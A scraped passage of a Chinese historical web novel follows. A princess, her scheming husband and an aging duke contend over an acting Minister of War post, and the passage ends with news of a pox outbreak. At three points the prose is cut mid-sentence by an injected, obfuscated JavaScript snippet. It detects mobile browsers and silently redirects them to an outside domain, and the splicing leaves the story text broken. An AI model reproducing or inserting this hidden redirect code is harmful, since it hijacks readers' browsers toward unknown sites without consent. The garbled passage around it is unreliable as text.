苻庆不在意杜至善的夸奖,直接问道:“那你到底是为着什么过来的?” 杜至善听出来苻庆的语气有些不耐烦,却并不着急说话,而是撩起官袍坐在了一旁的圈椅上。 “公主可打听到柳尚书的消息了?” 苻庆瞥了杜至善一眼,努力压抑住自己的不耐烦,半晌才开口说道:“打听到了,看来柳尚书确实是要离京了,而且时间还不会太短。” 其实这些消息杜至善今日在兵部也已经打探到了,但仍然装作是刚刚听到的样子,露出一分惊讶问道:“兵部事务繁杂,柳尚书忽然离京,不会是出了什么大事吧?” 苻庆一眼便看出杜至善是故意的,没好气地说道:“现在你才是兵部的郎中,这种事你自己不知道打听,难道还单指着我替你打探消息吗?” 杜至善并不生气,脸上甚至露出一个笑容。 “公主莫恼,我就是为着打探到消息而来。” 苻庆端起茶盏,抬起眼皮看向杜至善。 “柳尚书离京的日子就在这两日了,兵部大乱,陛下没法子,说要为兵部选一位代理尚书。” “代理尚书?”苻庆也装出是第一次听到这个消息的样子,“那你觉得陛下会选谁?” 杜至善看向苻庆,后者端着茶盏稳坐泰山,半点也看不出来真的为这件事着急的样子。 “公主,这代理尚书看似风光,实则确实个出力不落好的活儿,我看着陛下不论选谁都有可能会被拒绝。” 苻庆轻轻应了一声。 “总归只是一时的,那些人无一不是人精,怎么可能愿意接这种蠢事?” “难道公主对于此事,就没有一点自己的想法?” 苻庆知道杜至善等待的便是此刻,这个杜至善实在是聪明,每次有什么想法都不愿意直接说出,而是诱导别人将这件事说出来,这样一来便可以让自己撇清关系。 “没有。”苻庆干脆利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446165|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落地说,“我今日在府中已然忙了一日,现下这个脑子是一点都不想再动了。” 看苻庆的样子,杜至善便明白对方这是在故意不接自己的话。想到这,杜至善牵动嘴角加深了脸上的笑容。 “公主,您想不出来没关系,我可以帮您想。”杜至善的声音温柔而又和缓,“如今前朝的官员大多不愿意接这件事,而底下的人又没有威望能够在兵部立足,为今之计最重要的便是选一位既不能被挑出什么错,又没有官职的老臣。” 话已经说到了这个份上,苻庆还在想办法睁着眼说瞎话。听完杜至善的话之后睁大了眼睛,装出一副懵懂无知的样子说道:“杜至善,你不会是想要举贤不避亲,推荐杜太傅担任此职吧?” 看着苻庆笑意盈盈故意说错话的样子,杜至善只觉得心中忽然起了一丝涟漪,像是有一支小爪子抓了一下他的心脏。 “公主这么聪明,怎么会不知道我在说什么?”杜至善压抑着自己的嗓音,“英国公在京郊避世多年,俨然是最合适的人选。” “大伯?”苻庆皱起眉头,故意说道:“怎么会是我大伯?五年前我大伯在宫宴上突发急症,这可是在大家眼皮子底下发生的事情。陛下即便再无人可用,也不能这么不心疼朝中的老臣吧?” “老臣才应当竭尽全力为陛下效力。”杜至善面不改色,“英国公在军中颇有威望,是代理尚书的不二人选。” “我看你是今天当值太累了,都开始说胡话了。”苻庆站起身,“我让厨房做了鸡汤面,你快回揽晴轩吃晚饭吧。” 眼看着苻庆要往外走去,杜至善终于没了耐心陪着苻庆在这绕着圈子打哑谜,走上前一把拉住了苻庆的手腕。 “今日赵王已经入宫向陛下推荐了英国公,连赵王都支持,你觉得英国公还能躲得过去吗?” 再回眸,苻庆的脸色已经变得铁青。她垂眸看了一眼杜至善握住的手腕,再次抬眼看向杜至善。 半晌,杜至善主动松开了手。 “即便是朝中文武百官都支持,英国公身体残疾也是事实。再怎么说我大伯这身伤病也是为国征战的时候里留下的,陛下就算不看功劳,也得看看我大伯的苦劳吧。” “英国公现在虽说还能够忝居国公之位,可实权早已没有了。难道你就这么确定,英国公不想要出任兵部尚书一职吗?” 苻庆发出一声冷笑。 “若是我大伯有可能答应,你也就不会在这和我兜圈子了,不是吗?” 杜至善见苻庆已经明白了自己的意图,也不再拐弯抹角。 “若是你能够出面劝服英国公接受此事,陛下一定会感激你的。” “你刚才都说了,为陛下尽职乃是我等分内之事,陛下怎么会轻易感激我?”苻庆的神色冷漠,“要我说杜郎中若是有意,不如自己登门拜访英国公。” “公主!” 眼见着苻庆要转身离开,杜至善再一次出声叫住了她。 “公主怕是忘了我们之间有什么样的承诺了?” 苻庆不回头。 “这是个千载难逢的好机会,公主到底还想不想夺回锦西城?” 若是此事只关乎苻庆一个人,那她即便是豁出性命也是愿意去做的,但偏偏波及到的却是英国公。 皇帝对于英国公并不放心,赵王更是虎视眈眈。如今英国公用自己半身残废作为代价才能够在京郊勉强安身,苻庆实在不想打扰英国公这份来之不易的安宁。 “万钟则不辩礼义而受之,万钟于我何加焉?” 说完这句话,苻庆便走出了库房。 杜至善看着苻庆的背影,一直到那道背影消失不见。 很快,决明走了进来。 “公子。” “先前我吩咐你的事情,记牢了吗?” “公子放心,小的一定会将这件事情做得滴水不漏。” 杜至善点点头,眼睛却还是盯着门外。 “很好,我们走。” 76. 诏书 回到翠华庭,苻庆还因为刚才的事情有些烦躁,坐了一会仍然是不舒服,干脆站起身在屋中踱步。 松醪过来瞧了一眼,再进屋的时候手上端了一盘金桔脯。 “公主先吃些点心吧,晚饭一会就好了。” 苻庆瞄了一眼那盘果脯,最终还是走过来坐下了。 “公主,奴婢已经让人盯好了揽晴轩,只不过那边还是没有动静。” 苻庆从鼻子里发出一声冷哼。 “他已经吃了熊心豹子胆了,我看着再过两日这公主府便要跟着他姓了。” 松醪知道苻庆是在说气话,但心里面却还是有些担忧。 “公主,别怪奴婢多嘴,您一定要小心驸马。” 苻庆抬眸看了一眼松醪,在看到松醪脸上的担忧之色后,伸手拿了片金桔脯递到了松醪嘴边。 松醪无奈,只能张开嘴吃下去了。 “你说的这些我都明白了,我也知道我现在的处境其实并不乐观,但是我暂时还没得选。”苻庆的眸子落向盘子中,“只可惜大夏不允许公主参政,否则我靠自己怎么不能搏出一条路来。” 松醪不忍心让苻庆脸上出现这样悲伤的神情,凑上前轻轻说道:“公主放心,一切都会好起来。” 话音刚落,便有婢女捧着碗筷从门外走了进来,苻庆的注意力立刻被晚饭吸引过去,围着桌子看婢女为自己摆饭菜。 松醪看着苻庆兴高采烈的样子,也露出了一个笑容。 虽说赵王向陛下举荐了英国公,陛下也很是满意赵王的提议,但是正如同苻庆与杜至善猜测的那样,英国公府几乎是连夜就让人送回来了英国公拒绝的奏表。 皇帝昨夜是独自在紫宸殿后殿休息的,但也没有睡好。早朝上几位臣子再次提到了代理兵部尚书的事情,就连柳尚书都支持由英国公暂时代理这一职位,但几个人只是提议,却没一个敢说自己能够想办法让英国公同意此事。一趟早朝下来皇帝只感觉到心烦意乱,回到后殿之后便一直躲在暖阁中不愿出门。 没一会,汪公公主动端了一碗茶进来。皇帝后知后觉有些口干舌燥,可实在不想喝什么热茶,便吩咐汪公公换一杯凉水过来。 “陛下,这并非茶水,而是一杯紫苏饮。”汪公公主动揭开茶盖对皇帝说道:“贵妃娘娘前几日特意叮嘱过奴婢,说这几日天气渐渐热了,紫宸殿除了热茶也要备一些紫苏饮才好。” “是吗?”皇帝端过茶盏来轻呷一口,只觉得入口回甘,刚才的燥热正在被缓慢抚平。 “紫苏饮最能够解暑,想来贵妃娘娘是怕陛下被国事所累。” “爱妃一贯想得周到。”皇帝将茶盏放在茶几上,“说起来自从爱妃生病,朕也已经许久不召幸她了。” 汪公公福身说道:“听太医局说娘娘的身子已经大好了。” “那今晚便召贵妃过来吧。” 汪公公点头应下。 二人刚说完,便听到门外一个婢女请安的声音。 汪公公立刻走出暖阁,轻声询问道:“什么事?” “回公公,驸马杜至善杜郎中求见陛下。” “杜……”汪公公不敢拿主意,又回身去请示皇帝。 这会皇帝已经因为那杯紫苏饮舒服了许多,再想到杜至善也算是薛贵妃的女婿,点头说道:“让他进来吧。” 不一会,杜至善从外面走了进来。 “儿臣参见陛下,陛下万岁万岁万万岁。” 皇帝点头,示意杜至善免礼。 “这几日你该去兵部上任了吧?还适应吗?” “谢陛下挂念,儿臣一切都好。” 杜至善每次说话都是滴水不露的,皇帝还算是满意自己选的这个驸马。 “既然如此,那你说说这几日你在兵部都忙些什么?” 杜至善拱手,“回陛下的话,儿臣这几日在兵部主要负责整理过往的文书,在这过程中也能够了解一些知识,帮助儿臣更快速地参与到兵部日常事务中。” 整理文书算是一个没什么用的差事,也是每个部门有新人进去后都会分配给对方的工作,名义上说是让新人了解部门运转的方式,实则就是一种权宜之计。皇帝听到杜至善主动为这项工作找了个好听的说法,不禁笑着点点头。 “好,那你学到东西了吗?” “儿臣在看之前的文书时发现,兵部虽说政务并不繁忙,但涉及到方面较多,更不用说还有许多政令需要传递到我朝边关。一旦分配工作时出现混乱,底下执行起来便更是困难。因此……” 皇帝见杜至善停顿,立刻摆手说道:“这没有外人,但说无妨。” “因此自从知道柳尚书不日便要离京,这几日兵部就有些人心浮躁。” 皇帝点头,“即便你不说,朕也能够猜到。兵部这几年事情少了,不少人便想将兵部变成他们养老的地方,自然做事情也就不再积极了。” 杜至善低下头不说话。 皇帝伸出一只手揉了揉眉心,“不瞒你说,这几日朕一直为选择代理兵部尚书一事感到焦头烂额,赵王与柳尚书都推荐英国公,可英国公毕竟年老,腿脚还有些不便,朕实在不忍心为了一己私利请英国公他老人家出来。” “兵部的事务关系到大夏朝的边疆安定,英国公是在战场上厮杀过的,儿臣觉得国公爷应当会体恤陛下。” 皇帝发出一声冷笑,“若真是如此便好了。你还不知道吧,英国公已经将朕派过去传旨的诏书原封不动送回来了。” 杜至善故意露出一副惊讶的表情说道:“几日前儿臣有幸与英国公见过几面,儿臣觉得英国公很是感激陛下恩情,是不是这其中有什么误会呢?” “你?”皇帝看向杜至善,忽然反应过来,“朕想起来了,你是跟着庆儿去英国公府参加英国公的寿宴了吧?” “正是。”杜至善点头,“璇玉长公主与英国公很是亲厚,想来长公主殿下父母双亡,与国公爷关系亲近也是情理之中。” 皇帝的眼睛看向杜至善,对方并没有抬眼,还是垂着眼立在那里,表情很是恭顺。 “你倒是提醒了朕,也许英国公并非不想出山,只是想要朕派个合适的人去劝一劝罢了。” 杜至善见皇帝已经想到了这一层,嘴上并不点破,只是躬身说道:“陛下圣明。” “好了,你先回兵部工作吧。记住,你是朕为璇玉长公主选中的驸马,所以不要给朕丢人。” 杜至善拱手说道:“陛下放心,儿臣一定不辜负陛下所托。” 待杜至善走后,皇帝往后一仰,用一个舒服的姿势倒在了罗汉榻上。他本以为杜至善不过是到这里给自己请个安露露脸,没想到却帮助自己想到了一个这么有用的解决办法。 皇帝自然不会觉得是自己派的人不如苻庆跟英国公关系近的原因,在他眼中英国公敢抗旨不尊无非是因为居功自傲,毕竟现在英国公已经无官职在身,几个孩子都不在京中,确实没什么可以担忧的。 但自己怎么能忘了,还有这么好用的一个人在手里? 苻坚与英国公私交甚密,想来英国公也不想自己昔日好友的唯一女儿在京中过得不好。 想到这,皇帝的脸上露出一个微笑,接着端过手边的茶盏抿了一口。 殿外,一个人影从朱红色柱子后面一闪,接着往后宫的方向跑去。 晏呢殿中,薛贵妃正在抄写佛经。 许是因为天气热的原因,这几日经书抄写得并不顺利,常常到一张的最后几个字出现纰漏,因此薛贵妃抄写得便愈加小心。 花露走进来的时候,一张已经抄到了最后几字,花露自觉地站在一旁并未说话。 终于写完这一张,薛贵妃也松了口气。花露走上前将这张佛经收到一旁晾干,薛贵妃的字迹很是娟秀,墨水中掺杂了金粉与鲜血,墨迹鲜亮,经久不衰。 “按照这个速度,这几日便能抄完第四十三卷了。”薛贵妃轻轻活动自己有些僵硬的右手手腕,看着桌上叠放整齐的血经,露出一抹微笑,脸颊上的两个梨涡仿若盛了些蜜汁。 “娘娘自发愿已经抄写过三年了,这手上的伤痕总是还没等好了便又添新的。” 花露走过来再次检查薛贵妃指尖的伤口,伤口并未愈合,薛贵妃却不在意,只是用另一根手指轻轻揉了揉。 “与佛祖说过的话总不好食言。” 花露无奈,只能拿过手帕将薛贵妃出血的食指轻轻包住。 “娘娘,杜驸马刚刚去了紫宸殿。” 薛贵妃的注意力还在桌上的佛经上,随口说道:“真是怪事,他不过是从五品上的兵部郎中,竟然还有资格去紫宸殿?” “奴婢听说,驸马是为着代理兵部尚书的事情去的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446166|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这,薛贵妃有些不悦地看向花露。 “陛下有意让英国公代行兵部尚书一职,奈何国公爷不肯同意,将陛下送过去的诏书又原封不动退回来了。” 薛贵妃轻轻摇头,“这个英国公,多少年了还是一样的倔脾气。” 花露继续说道:“陛下与驸马本也没说什么,但好像提到了公主。” “庆儿?”薛贵妃眼睛一转,立刻明白了皇帝的意思。“他不会是想要用庆儿作为要挟,逼迫英国公就范吧?” 花露思考得也是如此,看着薛贵妃没再说话。 薛贵妃呼出一口气,脸色逐渐变得铁青。 “多少年了,从前他利用苻坚将军也就罢了,如今苻家只剩下这么一个女儿,他还嫌自己利用得不够吗?” 眼见薛贵妃动气,花露赶紧走上前为薛贵妃抚了抚后背。 “娘娘别着急,莫要气坏了身子。” 薛贵妃坐到圆凳上,面上却还不见松动。 “这个杜至善也真是有本事,不愧是他选出来的好女婿,才成婚几日便想着出卖自己的妻子了,与他还真是一丘之貉。” 花露也没想到杜至善竟然会在背后做下这种事情,虽说这件事不一定是杜至善亲口提议的,但是在这个节骨眼上入宫请安,已经足够达成这个目的。 “毕竟是杜太傅的儿子,他父亲当年也没少做口蜜腹剑的事情。” 薛贵妃缓过一口气,抬头看向花露。 “这件事通知庆儿了吗?” “还没有。” 薛贵妃挥挥手,“快去公主府通知庆儿,就说这几日天气太热,仔细中暑头晕。” 花露了然,点头退了出去。 看着桌上的佛经,薛贵妃抬起手轻轻在纸上面抚摸。 “我本心向菩提,奈何这宫中永无宁日。既然如此,便怪不得我了。” 紫宸殿的动作还算麻利,苻庆正吃着饭便有人过来传旨了,接过旨意后苻庆还询问对方要不要用饭,被拒绝后颇有些惋惜的送走了那位小公公。 松醪让小厨房将桌上的饭菜端下去重新加热,回来看见苻庆正坐在圈椅上翻来覆去地看着那道明黄色的圣旨。 “公主。”松醪有些不解,“娘娘不是说让您用中暑头晕将这件事搪塞过去吗?您怎么反而将这道圣旨接下了呢。” “杜至善是铁了心让我参与此事了,他盛情难却,我怎么好意思拒绝?” 松醪无奈地摇头,“公主昨晚还因为此事与驸马爷拌嘴,怎么今天却同意了呢?” “因为我觉得这件事情在陛下那里,已经没有回寰的余地了。”苻庆放下诏书,“即便我不去,陛下还会让其他人去劝大伯。既然如此,还不如让我去,至少我不会坑害我大伯。” 苻庆很是依赖英国公,松醪知道这是苻庆担心其他人会用阴谋诡计中伤英国公。 “那公主打算劝英国公接受此事?” “即便不接受,我也得帮大伯想出一个解决此事的办法。” 见苻庆心意已决,松醪知道自己再劝也没有什么用处,只能接受了此事。 “既然如此,那奴婢这就去收拾东西。诏书上已经写明,咱们明日一早便出发。” 苻庆点头,松醪缓缓退了出去。 随手将诏书扔到一旁,苻庆将手上戴的红玛瑙戒指摘下来,用手指轻轻摩挲起来。 这个杜至善真是厉害,见昨晚没有说服自己,今日便立刻用这种手段强迫自己低头。同时还可以借此机会让自己离开公主府几日,那自己对于揽晴轩的监视也只能被迫中断。 “还真是个一箭双雕的好计划。”苻庆低声说道。 “来人!” 一个婢女从外头走了进来。“公主有何吩咐?” 苻庆用眼神指了指桌上的诏书,“将这份诏书送到揽晴轩。” 婢女拿起诏书,“公主可有什么要对驸马爷吩咐的?” “什么都不用吩咐,直接交给他便是。” 婢女仍然没有动,“那驸马爷若是问起来……” 苻庆从鼻子中发出一声冷笑,“你便说驸马如此聪明,难道还非要我说到他脸上吗?” 婢女见苻庆动怒,不敢再说话,福身后退了出去。 当晚收到诏书后,杜至善什么都没说,也没有再到翠华庭来。 77. 决心 睡得还算舒服,第二日一大早经过简单梳妆,苻庆便坐上了去往英国公府的马车。 时隔数日又回到玉泉别院,苻庆坐在马车中闭着眼睛休息。虽说这次的任务有些麻烦,但不必应付那些达官贵人,也不用带着杜至善一起,好像能够短暂地将那些烦恼抛在脑后。 总体来说,苻庆现在的心情还是很好的。 马车行驶了一上午,最终在吃午饭之前赶到了英国公府。这是苻庆特意吩咐过的,一定要赶在饭点前到达,这样她就不会错过国公府这第一顿午饭。 英国公照例是在门口等待苻庆,苻庆刚从车厢中伸出脑袋来便迫不及待地跟英国公挥手,英国公露出一个慈祥的笑容,示意小厮将自己推到苻庆的马车跟前。 “慢一些,慢一些,注意安全。”英国公伸出双臂接住了扑倒自己怀中的苻庆。 “大伯,咱们又见面了。” 虽然英国公也知道苻庆这一次前来究竟是为什么,但只要能够见到苻庆,英国公便可以不在意苻庆前来的目的。 “知道你鼻子长,我特意让厨房提前准备好了午饭,就等着你来呢。” 苻庆仿佛已经闻到饭菜的香味了,因为要坐马车,早饭苻庆吃得很少,这会早已经饿得前胸贴肚皮。 “太好了大伯!那咱们赶紧走吧!” 说完苻庆也不客气,自己推着英国公的轮椅便向府内走去,英国公哈哈大笑,主动伸出胳膊给苻庆指明了去瀚海山居的方向。 午饭吃得还是定州的口味,不过婉娘仍然没有出现。 “大伯,伯母不与我们一同用饭吗?” 英国公招呼苻庆入座,“不必管你伯母,她喜欢清静,总是一个人在屋中用饭的。” 苻庆不知道这是为什么,更担心英国公这是在用另一种方式告知自己府中有内鬼,因此也就没再说什么。 用完午饭,苻庆本想借口推着英国公去后花园走几圈说话,没想到英国公主动提起自己要午休,让苻庆先跟着下人回听松居安置。 “大伯……” 英国公轻轻摇头,“阿庆,不必着急,再麻烦的事情也要慢慢处理。” 苻庆强迫自己慢下来,点头答应下来,先跟着下人去了听松居。 松醪此时已经将听松居收拾妥当了,见苻庆走回来,先给苻庆倒了一杯苻庆爱喝的玉叶长春。 “公主与英国公可说明白了?” 苻庆一口将杯中的茶水饮尽,这定州菜什么都好,就是口味有点重,吃完饭总是口渴。 “还没呢,听大伯的意思是要我不着急,在这多住两天。” 松醪点头。 “这样也好,奴婢总觉得公主在英国公府反而会更加自在。” 苻庆微笑,“毕竟是跟大伯在一起嘛。” 松醪又给苻庆将杯中茶水斟满。 “那公主可想好应对的办法了?” 苻庆看向松醪,诚实地摇摇头。 “没有。” 松醪有些无奈,哭笑不得说道:“公主若没想好对策,怎么同国公爷张口呢?” 对于此事苻庆当然并非完全没有思索过,也想过到底该怎样解决。说起来英国公解决此事的方法实则可以很是简单,虽说皇帝有一万种说辞证明英国公代理兵部尚书一职很是合适,但毕竟英国公的腿疾是人尽皆知的,皇帝总不能强人所难。 所以说,如果英国公坚持拒绝皇帝的任命,紫宸殿也实在没什么办法。 只不过对于苻庆来说,处境就可能有些不妙了。皇帝既然已经将这件事交给她处理,那必然是想好了惩罚苻庆的办法。 想到这,苻庆抬手揉了揉太阳穴。 “公主,奴婢知道您不愿意让国公爷做他老人家不愿意做的事情,但是若这件事您没有办好,奴婢担心陛下那边实在不好交代。” 苻庆点头,“你说的我明白,可是我确实也没想好怎么解决,咱们总不能逼着我大伯到风口浪尖上去吧。” 松醪看着苻庆,声音温柔而又力量。 “公主,奴婢觉得此事若真的没有转圜的余地,那不如就想办法能够将这个麻烦转变为一次机会。” 苻庆看向松醪。 “你是说,锦西城。” 松醪点头。 一想到锦西城,苻庆便感觉身体中的血液都逐渐变得热起来。 “我本想着那件事情还需要从长计议,但若是真的能够将这几件事直接串联起来,确实未尝不是件好事。” 看苻庆接受了自己的提议,松醪露出一个笑容。对于松醪来说,英国公出任兵部尚书并不是一件坏事,毕竟若是英国公能够参与到这件事情中,苻庆要考虑的事情也会减少一些。 虽说松醪答应苻庆不阻碍对方达成目标,但在松醪眼中,她仍然觉得若是能够让苻庆坐享其成才是最好的,至少这样能够让苻庆更加安全。 苻庆在屋内思虑了一下午,待到用晚饭的时候又准时出现在了瀚海山居。 这次吃过饭,英国公主动留苻庆在书房中说话。苻庆刚走进书房没多久,一道熟悉的身影也出现在了书房内。 “见过公主。” “婉娘。”苻庆对婉娘笑一笑。 因为是私下里见面,婉娘并没有再化那种成熟的妆容,而是任由那张标致的脸蛋直接素面朝天。 “自那日书房进贼,我与婉娘便觉得国公府也并不安全,因此减少了婉娘露面的时机。” 听完英国公解释,苻庆点头。 “国公府面积不小,那人既然能够准确无误地找到书房来,必然说明对于国公府已经有了基本的了解,那确实有内应的可能性很大。” 婉娘走上前说道:“这几日奴家也已经开始排查府中的下人了,只是可惜这是在那位眼皮子底下,国公府也不能忽然卖出大批下人,难免会有人起疑。” 苻庆点头,“只能辛苦婉娘了。” 英国公看轻叹一口气,“对于现在的情况来说,内应不内应已经不重要了,他们现在要的是咱们离开玉泉别院。” “若是进了京,大伯很难在短时间内建立起一个如同玉泉别院一样的地方保护自己,更不要说京城本就是赵王他们经营了多年的地方。” “这也是我为何不愿意进京的原因。” 苻庆看着英国公头上的白发,心念一动。虽说她已经想到了走一步险棋的办法,但是每每看到英国公,苻庆便会想到爹爹若是还活着,现在恐怕也已经生出白发了。 这让苻庆怎么还能有脸说出让英国公为自己以身犯险的话? “大伯,若是您真的不想进京,便直接回绝这件事情吧。” “不行,如果那样的话,公主怎么办?”婉娘皱眉,“公主您放心,在您到来之前,奴家与国公爷已经商量过这件事情了,即便前面有千难万险,我们也不会让公主您落人口实。” 苻庆一愣,转过头看向英国公。 英国公点头,“婉娘说得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446167|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对,是皇帝派你过来的,那无论如何我都不能让皇帝找到伤害你的机会。” 苻庆没想到英国公已经做好了进京的打算,更没想到英国公愿意为自己做到这个份上。 “大伯,可是我不想您因为我而犯险,我不能这么自……” “好孩子,什么都不用说了。”英国公的目光坚毅,从他的脸上仍然能够看出年青时的风采。“既然你唤我一声大伯,我便应当做一个大伯该做的事情。” 半晌,苻庆缓缓呼出一口气,抬起手抹去了自己的脸上的泪痕。 “大伯,只有在英国公府,我才能感觉到曾经在定州的日子并不是做梦。” 婉娘走上前,轻轻抚摸苻庆的后背。 “好孩子,这些年你在京城受苦了。” “阿庆,大伯知道你在皇宫中过的辛苦,也知道你被那些人当做工具利用,只可惜大伯没能力,不能为你出这口恶气。” “我没事。”苻庆的声音仍在微微颤抖,“大伯,这些年您过得要比我辛苦,我在宫中至少还有姨母照拂,您在这里处处谨慎小心,还免不了被京城的人算计。” “正因如此,我才更要接下这次的差事。”英国公划着轮椅走到书桌边,“阿庆,这同样是个机会。” 在定州的时候,苻坚将军便时常教苻庆在战场上的用兵之计。苻坚将军曾经说过,当敌强我弱的时候,一味自怨自艾是没有用处的,狠下心蛮干也不一定能获得好的结局。 这种时候只有一种办法,那就是伺机而动。在寻找到对自己有利的时机之后,一击必中。 看着英国公的样子,苻庆恍惚又看到了当年与自己父亲一同站在议事厅中的英国公,与苻坚将军用兵的稳健不同,英国公总是擅长出其不意,利用包夹两翼等方式攻敌不备。 “大伯,不瞒你说,今天下午我也已经想过这件事情了。昔日在定州与我们并肩作战的战友现在大多外放,即便在京中也都无法身居要职,我想这或许就是我们安插自己人的机会。” “没错。”英国公示意婉娘拿过桌上的一张纸递给苻庆。“这上面是我写的几个应当还能用的人,阿庆你也看一看。” 苻庆接过名单,上面写着七个人名,大多数是曾经在定州跟着英国公出生入死过的。 苻庆将名单还给婉娘,“六年前我年纪尚小,对于这些人印象也并不深刻,只依稀记得这个叫余川的有些能力,我爹也曾经夸过他。” 英国公瞥了婉娘一眼,对方没有抬头。 “是,这小子从十五岁便跟了我,是个从最底层的小兵真刀真枪拼上来的。五年前我离开长金邑他没有跟我回来,之后便被调到京城附近做了个县丞。” 苻庆点头,“旁的我也不清楚,只要大伯说好的那必然是可用的。” 英国公轻轻叹了口气,“只可惜昔日的苻家军在坚守锦西城的时候悉数战死,否则我们可用的人要比现在多得多。” 苻庆没有说话,脑中回想起从前在锦西城的时候,自己见过的那些伯伯叔叔们。苻坚将军时常带着苻庆到官署和校阅场上,因此大家对于苻庆都很是熟悉,还常常把苻庆举在肩膀上陪她玩。那一张张笑脸,苻庆此生都难以忘记。 只可惜后来锦西城覆灭,苻庆连一声像样的道别都没有,便与他们永别了。 “虽说我父母的棺椁已经运抵京城,但锦西城还有许多苻家军没有回家。”苻庆轻轻眯起眼睛,“我绝不能任由他们的埋骨地被辽国霸占。” 78. 痘疫 英国公点头。“待你走后我便会上报朝廷,亲自到皇宫中接下诏书。只不过他们想要达成他们的目的,便要先满足我的要求。” “大伯,虽说可能是我想多了,但我觉得你还是不能将这份名单直接递上去。”苻庆脑中浮现出赵王的嘴脸,“赵王这个人最奸诈不过,我怕他会出什么阴招。” “那你的意思是我应当分批次将他们慢慢安插进来?” “不仅如此,大伯最好还要安插一些与我们无关的人进来。” 英国公露出一个欣慰的笑容,指着苻庆对婉娘说道:“好,看来阿庆并没有忘记从前在定州她爹教过她的东西。” 这一句话提醒了苻庆,“大伯,那如果你要进京,婉娘怎么办?” “待我走后,玉泉别院便不安全了,我必须带着婉娘一同进京。” 苻庆松了口气,但以她对赵王的了解,恐怕这也是赵王料到的。 “但我觉得待您和婉娘进京后,赵王还会有更多理由前来拜访,难道大伯只能次次阻止赵王吗?” 英国公与婉娘对视一眼,这件事情他们两人也考虑过,但实在没有想到什么好办法解决此事。 “若大伯和婉娘愿意相信我,我有个办法或许能够让赵王即便认出婉娘,也说不出什么。” 婉娘主动走上前,“这些年承蒙国公爷关怀,奴家才能够留住一条性命苟活到今日,只要能够不连累国公爷与公主,婉娘愿意做任何事情。” “好!”苻庆露出一个志在必得的笑容,“既然如此,大伯应下差事后也不必着急进京,反正再过几日便是宁国公独女瑕英长公主的大婚,到时候大伯与大伯母一同出现便是。” 英国公点头,“只要你能够保住婉娘,一切都听你的。” 离开瀚海山居,苻庆走回听松居的脚步都带着轻快。 进入屋内,松醪已经凉好了茶等待着苻庆。 见苻庆走进来,松醪主动迎上前,“公主回来了?” “嗯。”苻庆一口将杯中的茶水饮尽。 “公主慢些喝。”松醪又给苻庆添了一杯茶,“公主这么高兴,想必是有了解决问题的办法了。” “没错,而且我还想到了另一件事能够帮助大伯解决一件棘手的问题。” 松醪并不问这件棘手的事情是什么,只是笑着对苻庆说道:“如此甚好,看来咱们这次过来也算是没有白费功夫。” 苻庆点头,“既然问题已经解决,咱们也不要在玉泉别院继续叨扰了,明日吃过早……午饭便往回走吧。” 松醪不拆穿苻庆的嘴馋,只是觉得苻庆难得有了想吃的东西,还能够在暂时远离京城中的纷扰,实在是一件好事。 “好,奴婢明日便去安排。” 又说了一会话,苻庆洗漱过后便上了床,明天晚上便要回公主府居住了,苻庆要认真地享受这最后一晚。 只不过是当时她以为的最后一晚。 第二日一大早,苻庆便被匆匆忙忙的脚步声吵醒了。 松醪是从宫里出来的,走路时脚步声很轻,很少会出现吵醒苻庆的情况。苻庆揉了揉还睁不太开的眼睛,出声询问道:“松醪,可是出什么事情了?” 很快,房门被缓缓推开,松醪走了进来。 苻庆很少在松醪脸上看到慌乱,但这一刹她确实从松醪脸上看到了惊慌失措。 苻庆一把拉住松醪的胳膊,“松醪,怎么了?可是宫里来的消息?” 松醪赶紧摇头,“公主,贵妃娘娘没事,是咱们的公主府出事了。” “公主府?”苻庆的心已经沉回了肚子里,在她眼中除了薛贵妃的安危并没有什么重要的事情,“公主府还能出什么事,难道是走水了?” “不是走水,是……”松醪缓了缓,“痘疫。” “痘疫?”苻庆的嗓门很大,这一嗓子把她自己也叫醒了。“什么痘疫?怎么会有痘疫?这究竟是怎么回事?” 松醪差点要被苻庆这一连串的问题逗笑了。 “公主莫急,奴婢慢慢跟您讲。”松醪动手将床两边的床幔用钩子勾住,“今天一大早便有人来报,说驸马爷传了信来,要立刻交给公主。不过那时候公主还在休息,奴婢想着既然今日便要回去,也就没有好着急的了,等公主醒来再看信也无妨。但那人一再强调驸马爷派的人嘱咐过,一定要赶紧将那封信交给公主,奴婢觉得可能出了什么事情,便要送信的那个人进府与奴婢当面说清。” 苻庆坐在床边,她的脑子一半因为早起还在犯迷糊,一半被这个消息搞得有些缓不过神。 “奴婢去了门房,发现送信的人并不是决明,一开始还担心过这封信的真假,结果那人告诉我决明与驸马爷一起被关在公主府中了。” 